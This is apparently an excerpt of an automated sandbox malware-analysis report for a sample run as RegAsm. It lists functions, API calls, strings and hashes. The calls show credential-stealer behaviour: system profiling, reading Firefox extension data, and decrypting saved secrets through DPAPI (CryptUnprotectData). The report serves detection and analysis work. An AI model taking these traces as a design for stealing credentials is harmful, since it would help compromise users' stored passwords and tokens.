CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,00000000), ref: 00406221

Memory Dump Source

Source File: 00000003.00000002.2039421679.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2039421679.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeH_prologHandleReadSize
String ID:
API String ID: 3869837436-0
Opcode ID: 64a3422522f7e7e46d77fb1e68ae032180970e1801099016b3dac20f8dd4ba7d
Instruction ID: 909566f9f53506b5aa2d8709c9cb46b640c87a2d020782bf56f99dd61eaf9922
Opcode Fuzzy Hash: 64a3422522f7e7e46d77fb1e68ae032180970e1801099016b3dac20f8dd4ba7d
Instruction Fuzzy Hash: 6E218B70A00115ABDB20AFA4DC48EAFBBB9FF95710F20056EF952E62D4D7389911CB64

Function 0040FF81 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 38memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00000001,00000000,00000000,?,Windows: ,00000000,?,00426624,00000000,?,Work Dir: In memory,00000000,?,0042660C), ref: 0040FF8F
HeapAlloc.KERNEL32(00000000), ref: 0040FF96
GlobalMemoryStatusEx.KERNEL32 ref: 0040FFB6
wsprintfA.USER32 ref: 0040FFDC

Strings

@, xrefs: 0040FFAF
%d MB, xrefs: 0040FFD6

Memory Dump Source

Source File: 00000003.00000002.2039421679.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2039421679.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$AllocGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 3644086013-3474575989
Opcode ID: d58cec7bb25a44c408c3687956696a67a71d0eb3ae1938313e2b8797632a6eaa
Instruction ID: ca080bb329355c7b2013afa2bdf3b2efff8528aa9c5ce76f1778211d5c0869c6
Opcode Fuzzy Hash: d58cec7bb25a44c408c3687956696a67a71d0eb3ae1938313e2b8797632a6eaa
Instruction Fuzzy Hash: 8AF036B5A00218ABE7149BA4DC4AF7E76BEEB45705F400039F702E61C0D7B4D8058769

Function 00415CA5 Relevance: 9.1, APIs: 6, Instructions: 128registrystringCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 00415CAA
memset.MSVCRT ref: 00415CD6
RegOpenKeyExA.KERNEL32(80000001,00000000,00020119,?,?,?,00000000), ref: 00415CF3
RegQueryValueExA.ADVAPI32(?,00000000,00000000,?,000000FF,?,?,00000000), ref: 00415D13
lstrcat.KERNEL32(?,?), ref: 00415D42
lstrcat.KERNEL32(?), ref: 00415D55

Memory Dump Source

Source File: 00000003.00000002.2039421679.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2039421679.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$H_prologOpenQueryValuememset
String ID:
API String ID: 2333602472-0
Opcode ID: 5908ee0a41c72f3eb61dbe54366e8acb213d08ed70dfc70b307fc866011581ad
Instruction ID: b1237888a7669b0395c9cdb9a6d9471705cae356a33a5f6a680b3cc5b253afb1
Opcode Fuzzy Hash: 5908ee0a41c72f3eb61dbe54366e8acb213d08ed70dfc70b307fc866011581ad
Instruction Fuzzy Hash: 8F419DB1D4021DABCF10EFA0DC86EDD7B7DAF18344F00456AB618A2191E7399A858BD2

Function 00417250 Relevance: 9.1, APIs: 6, Instructions: 65sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00417330: LoadLibraryA.KERNEL32(kernel32.dll,00417262), ref: 00417335
Part of subcall function 00417330: GetProcAddress.KERNEL32 ref: 0041737A
Part of subcall function 00417330: GetProcAddress.KERNEL32 ref: 00417391
Part of subcall function 00417330: GetProcAddress.KERNEL32 ref: 004173A8
Part of subcall function 00417330: GetProcAddress.KERNEL32 ref: 004173BF
Part of subcall function 00417330: GetProcAddress.KERNEL32 ref: 004173D6
Part of subcall function 00417330: GetProcAddress.KERNEL32 ref: 004173ED
Part of subcall function 00417330: GetProcAddress.KERNEL32 ref: 00417404
Part of subcall function 00417330: GetProcAddress.KERNEL32 ref: 0041741B
Part of subcall function 00417330: GetProcAddress.KERNEL32 ref: 00417432
Part of subcall function 00417330: GetProcAddress.KERNEL32 ref: 00417449
Part of subcall function 00417330: GetProcAddress.KERNEL32 ref: 00417460
Part of subcall function 00417330: GetProcAddress.KERNEL32 ref: 00417477
Part of subcall function 00417330: GetProcAddress.KERNEL32 ref: 0041748E
Part of subcall function 00417330: GetProcAddress.KERNEL32 ref: 004174A5
Part of subcall function 00417330: GetProcAddress.KERNEL32 ref: 004174BC
Part of subcall function 00417330: GetProcAddress.KERNEL32 ref: 004174D3
Part of subcall function 00417330: GetProcAddress.KERNEL32 ref: 004174EA
Part of subcall function 00417330: GetProcAddress.KERNEL32 ref: 00417501
Part of subcall function 00417330: GetProcAddress.KERNEL32 ref: 00417518
Part of subcall function 00417330: GetProcAddress.KERNEL32 ref: 0041752F
Part of subcall function 00417330: LoadLibraryA.KERNEL32 ref: 00417540
Part of subcall function 00417330: LoadLibraryA.KERNEL32 ref: 00417551

Part of subcall function 0040F923: lstrcpy.KERNEL32(00000000,00000000), ref: 0040F94D

Part of subcall function 0040FBCB: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00417274,004265C7), ref: 0040FBD7
Part of subcall function 0040FBCB: HeapAlloc.KERNEL32(00000000,?,?,?,00417274,004265C7), ref: 0040FBDE
Part of subcall function 0040FBCB: GetUserNameA.ADVAPI32(00000000,?), ref: 0040FBF2

Part of subcall function 0040FA9C: _EH_prolog.MSVCRT ref: 0040FAA1
Part of subcall function 0040FA9C: lstrlenA.KERNEL32(?,?,?,?,?,00417294,?,?,00426B18,?,00000000,004265C7), ref: 0040FAC9
Part of subcall function 0040FA9C: lstrcpy.KERNEL32(00000000), ref: 0040FAF0
Part of subcall function 0040FA9C: lstrcat.KERNEL32(?,?), ref: 0040FAFB

Part of subcall function 0040F9E1: lstrcpy.KERNEL32(00000000,?), ref: 0040FA1A

CloseHandle.KERNEL32(00000000), ref: 004172D5
Sleep.KERNEL32(00001B58), ref: 004172E0
OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,?,00426B18,?,00000000,004265C7), ref: 004172F1
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00417307
CloseHandle.KERNEL32(00000000), ref: 00417315
ExitProcess.KERNEL32 ref: 0041731C

Memory Dump Source

Source File: 00000003.00000002.2039421679.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2039421679.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoadlstrcpy$CloseEventHandleHeapProcess$AllocCreateExitH_prologNameOpenSleepUserlstrcatlstrlen
String ID:
API String ID: 1043047581-0
Opcode ID: 113881885c3839af2b79a56db40bcd2305469b038b667f9b69e4ccdc7c5ab35c
Instruction ID: d94f923eae08acc0ec9c25e643b9a8e0192b3615959a138ccc40586fc2a64efe
Opcode Fuzzy Hash: 113881885c3839af2b79a56db40bcd2305469b038b667f9b69e4ccdc7c5ab35c
Instruction Fuzzy Hash: 38113D71900019BBCB11FBE2DD6ADEEB77DAE55304B50007EF502B24E1DF386A09CA69

Function 00403A54 Relevance: 9.1, APIs: 6, Instructions: 56stringnetworkCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 00403A59
??_U@YAPAXI@Z.MSVCRT ref: 00403A8B
??_U@YAPAXI@Z.MSVCRT ref: 00403A94
??_U@YAPAXI@Z.MSVCRT ref: 00403A9D
lstrlenA.KERNEL32(00000000,00000000,?,?,00000001,000000C8), ref: 00403AB7
InternetCrackUrlA.WININET(00000000,00000000,?,00000001), ref: 00403AC7

Memory Dump Source

Source File: 00000003.00000002.2039421679.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2039421679.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: CrackH_prologInternetlstrlen
String ID:
API String ID: 503950642-0
Opcode ID: 0d221dbbc7c0b090ec087e33715908742fb57a3485d1500de3dc28ba3d66cb29
Instruction ID: cc07c141d42f95622a17f2cc37de93049e7409e5d01b43fa4466afa553a2edca
Opcode Fuzzy Hash: 0d221dbbc7c0b090ec087e33715908742fb57a3485d1500de3dc28ba3d66cb29
Instruction Fuzzy Hash: B4114C71D00208ABCB24AFA5D805BDE7F78AF45325F20422AF921A62D0DB385A498B54

Function 0040B1E0 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 186stringCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 0040B1E5

Part of subcall function 0040F95A: lstrcpy.KERNEL32(00000000,okA), ref: 0040F980

Part of subcall function 0040618B: _EH_prolog.MSVCRT ref: 00406190
Part of subcall function 0040618B: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,?,?,?,?,?,?,?,00000000), ref: 004061B3
Part of subcall function 0040618B: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,?,?,?,00000000), ref: 004061CA
Part of subcall function 0040618B: LocalAlloc.KERNEL32(00000040,?,00000000,00000000,?,?,?,?,?,?,?,00000000), ref: 004061E6
Part of subcall function 0040618B: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,?,?,?,00000000), ref: 00406200
Part of subcall function 0040618B: CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,00000000), ref: 00406221

Part of subcall function 00410D6D: LocalAlloc.KERNEL32(00000040,004131CC,000000C8,00000001,?,004131CB,00000000,00000000), ref: 00410D86

Part of subcall function 0040F923: lstrcpy.KERNEL32(00000000,00000000), ref: 0040F94D

Part of subcall function 0040FA9C: _EH_prolog.MSVCRT ref: 0040FAA1
Part of subcall function 0040FA9C: lstrlenA.KERNEL32(?,?,?,?,?,00417294,?,?,00426B18,?,00000000,004265C7), ref: 0040FAC9
Part of subcall function 0040FA9C: lstrcpy.KERNEL32(00000000), ref: 0040FAF0
Part of subcall function 0040FA9C: lstrcat.KERNEL32(?,?), ref: 0040FAFB

Part of subcall function 0040F9E1: lstrcpy.KERNEL32(00000000,?), ref: 0040FA1A

Part of subcall function 0040FA28: _EH_prolog.MSVCRT ref: 0040FA2D
Part of subcall function 0040FA28: lstrcpy.KERNEL32(00000000), ref: 0040FA79
Part of subcall function 0040FA28: lstrcat.KERNEL32(?,?), ref: 0040FA83

StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,00425F30,00425C3B), ref: 0040B2A6
lstrlenA.KERNEL32(00000000), ref: 0040B2C2

Part of subcall function 004010B1: _EH_prolog.MSVCRT ref: 004010B6

Part of subcall function 0040AFAF: _EH_prolog.MSVCRT ref: 0040AFB4

Strings

^userContextId=4294967295, xrefs: 0040B30D
moz-extension+++, xrefs: 0040B2E8

Memory Dump Source

Source File: 00000003.00000002.2039421679.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2039421679.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: H_prolog$lstrcpy$File$AllocLocallstrcatlstrlen$CloseCreateHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 2813378046-3310892237
Opcode ID: d82d09ade0ba0a4835b3956aae4a2697323b81754fe74cb71676ab1b26c84f39
Instruction ID: bb3a9efdf4450b2767142494be26f7b0dc10ed47a6f8b455ca68a0d11c56a3c9
Opcode Fuzzy Hash: d82d09ade0ba0a4835b3956aae4a2697323b81754fe74cb71676ab1b26c84f39
Instruction Fuzzy Hash: B2715C70905288AADB14FBE5D916BDDBBB4AF19308F50417EE805736C2DB78170CCBA6

Function 004064E5 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 153libraryCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 004064EA

Part of subcall function 0040F923: lstrcpy.KERNEL32(00000000,00000000), ref: 0040F94D

Part of subcall function 0040FA9C: _EH_prolog.MSVCRT ref: 0040FAA1
Part of subcall function 0040FA9C: lstrlenA.KERNEL32(?,?,?,?,?,00417294,?,?,00426B18,?,00000000,004265C7), ref: 0040FAC9
Part of subcall function 0040FA9C: lstrcpy.KERNEL32(00000000), ref: 0040FAF0
Part of subcall function 0040FA9C: lstrcat.KERNEL32(?,?), ref: 0040FAFB

Part of subcall function 0040FA28: _EH_prolog.MSVCRT ref: 0040FA2D
Part of subcall function 0040FA28: lstrcpy.KERNEL32(00000000), ref: 0040FA79
Part of subcall function 0040FA28: lstrcat.KERNEL32(?,?), ref: 0040FA83

Part of subcall function 0040F9E1: lstrcpy.KERNEL32(00000000,?), ref: 0040FA1A

GetEnvironmentVariableA.KERNEL32(C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,0000FFFF,00000000,?,?,00425B9C,?,?,?,00425B97,?), ref: 004065A7

Part of subcall function 0040F997: lstrlenA.KERNEL32(?,00000000,?,004169B9,004265B7,004265B6,00000000,00000000,?,00417314), ref: 0040F9A0
Part of subcall function 0040F997: lstrcpy.KERNEL32(00000000,00000000), ref: 0040F9D4

SetEnvironmentVariableA.KERNEL32(00000000,00000000,?,?,?,00425BA0,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,00425B9B), ref: 0040661F
LoadLibraryA.KERNEL32(00000000), ref: 0040663A

Strings

C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;, xrefs: 0040659B, 004065A0, 004065BA

Memory Dump Source

Source File: 00000003.00000002.2039421679.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2039421679.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$H_prolog$EnvironmentVariablelstrcatlstrlen$LibraryLoad
String ID: C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;
API String ID: 757424748-3463377506
Opcode ID: b1ec59224834b8f79ed32a038f4b7da38d4618f543a9ad0f1e6d2df5f849b41d
Instruction ID: 8db632add1ead28395c1f5c726ee2788193d5f270b99ec1c59b0dc1cdd27b91c
Opcode Fuzzy Hash: b1ec59224834b8f79ed32a038f4b7da38d4618f543a9ad0f1e6d2df5f849b41d
Instruction Fuzzy Hash: C3617270801544EECB25EBA4D915BEDBBB5EB29304F10507EE406736E2DB381A09CF69

Function 0040C186 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 86COMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 0040C18B

Part of subcall function 0040F923: lstrcpy.KERNEL32(00000000,00000000), ref: 0040F94D

Part of subcall function 0040618B: _EH_prolog.MSVCRT ref: 00406190
Part of subcall function 0040618B: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,?,?,?,?,?,?,?,00000000), ref: 004061B3
Part of subcall function 0040618B: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,?,?,?,00000000), ref: 004061CA
Part of subcall function 0040618B: LocalAlloc.KERNEL32(00000040,?,00000000,00000000,?,?,?,?,?,?,?,00000000), ref: 004061E6
Part of subcall function 0040618B: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,?,?,?,00000000), ref: 00406200
Part of subcall function 0040618B: CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,00000000), ref: 00406221

Part of subcall function 00410D6D: LocalAlloc.KERNEL32(00000040,004131CC,000000C8,00000001,?,004131CB,00000000,00000000), ref: 00410D86

StrStrA.SHLWAPI(00000000,?,?,?,?,?,?,?,?,?,00000000,?), ref: 0040C1DE

Part of subcall function 00406242: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,004058F9,00000000,00000000), ref: 00406262
Part of subcall function 00406242: LocalAlloc.KERNEL32(00000040,004058F9,?,?,004058F9,00000000,?,?), ref: 00406270
Part of subcall function 00406242: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,004058F9,00000000,00000000), ref: 00406286
Part of subcall function 00406242: LocalFree.KERNEL32(00000000,?,?,004058F9,00000000,?,?), ref: 00406295

memcmp.MSVCRT ref: 0040C21C

Part of subcall function 004062A5: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 004062C8
Part of subcall function 004062A5: LocalAlloc.KERNEL32(00000040,?,?), ref: 004062E0
Part of subcall function 004062A5: LocalFree.KERNEL32(?), ref: 004062FE

Strings

DPAPI, xrefs: 0040C216
, xrefs: 0040C247

Memory Dump Source

Source File: 00000003.00000002.2039421679.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2039421679.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFile$BinaryFreeH_prologString$CloseCreateDataHandleReadSizeUnprotectlstrcpymemcmp
String ID: $DPAPI
API String ID: 2477620391-1819349886
Opcode ID: 548af4ef5a68c1d15bd34a1c9f3b88a4916ae1bc9e092e19947f3fc684f09504
Instruction ID: 7c90c9c52161514f2ce6f88b14c0e6cf6dad8cdca0aeae51f6cfd95d0e4443f7
Opcode Fuzzy Hash: 548af4ef5a68c1d15bd34a1c9f3b88a4916ae1bc9e092e19947f3fc684f09504
Instruction Fuzzy Hash: EA21A272D00109ABCF10ABE5CD429EFBB79AF54314F14027BF901B11D2EA399A958699

Function 0041064B Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 40memoryregistryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00000001,?,?,?,00414A17,00000000,?,Windows: ,00000000,?,00426624,00000000,?,Work Dir: In memory), ref: 0041065F
HeapAlloc.KERNEL32(00000000,?,?,?,00414A17,00000000,?,Windows: ,00000000,?,00426624,00000000,?,Work Dir: In memory,00000000,?), ref: 00410666
RegOpenKeyExA.KERNEL32(80000002,00000000,00020119,00000000,?,?,?,00414A17,00000000,?,Windows: ,00000000,?,00426624,00000000,?), ref: 00410694
RegQueryValueExA.KERNEL32(00000000,00000000,00000000,00000000,000000FF,?,?,?,00414A17,00000000,?,Windows: ,00000000,?,00426624,00000000), ref: 004106B0

Strings

Windows 11, xrefs: 00410677

Memory Dump Source

Source File: 00000003.00000002.2039421679.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2039421679.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$AllocOpenProcessQueryValue
String ID: Windows 11
API String ID: 3676486918-2517555085
Opcode ID: 7cca10c1b5c7dd35db0d4f8c6a920e7d0fee12f9d646c557380bc34a9577cd99
Instruction ID: 81a682fe0d96866a8c385725fbf1601ecc6145704a13890b4f9ee07a06a14e80
Opcode Fuzzy Hash: 7cca10c1b5c7dd35db0d4f8c6a920e7d0fee12f9d646c557380bc34a9577cd99
Instruction Fuzzy Hash: F0F06879640215FBEB105BD1DD0AF9A7A7EEB45B04F101075FB01D51A0D7F499509724

Function 0040FB50 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 37memoryregistryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00000000,?,?,?,0040FBC2,00410673,?,?,?,00414A17,00000000,?,Windows: ,00000000), ref: 0040FB64
HeapAlloc.KERNEL32(00000000,?,?,?,0040FBC2,00410673,?,?,?,00414A17,00000000,?,Windows: ,00000000,?,00426624), ref: 0040FB6B
RegOpenKeyExA.KERNEL32(80000002,00000000,00020119,00000000,?,?,?,0040FBC2,00410673,?,?,?,00414A17,00000000,?,Windows: ), ref: 0040FB89
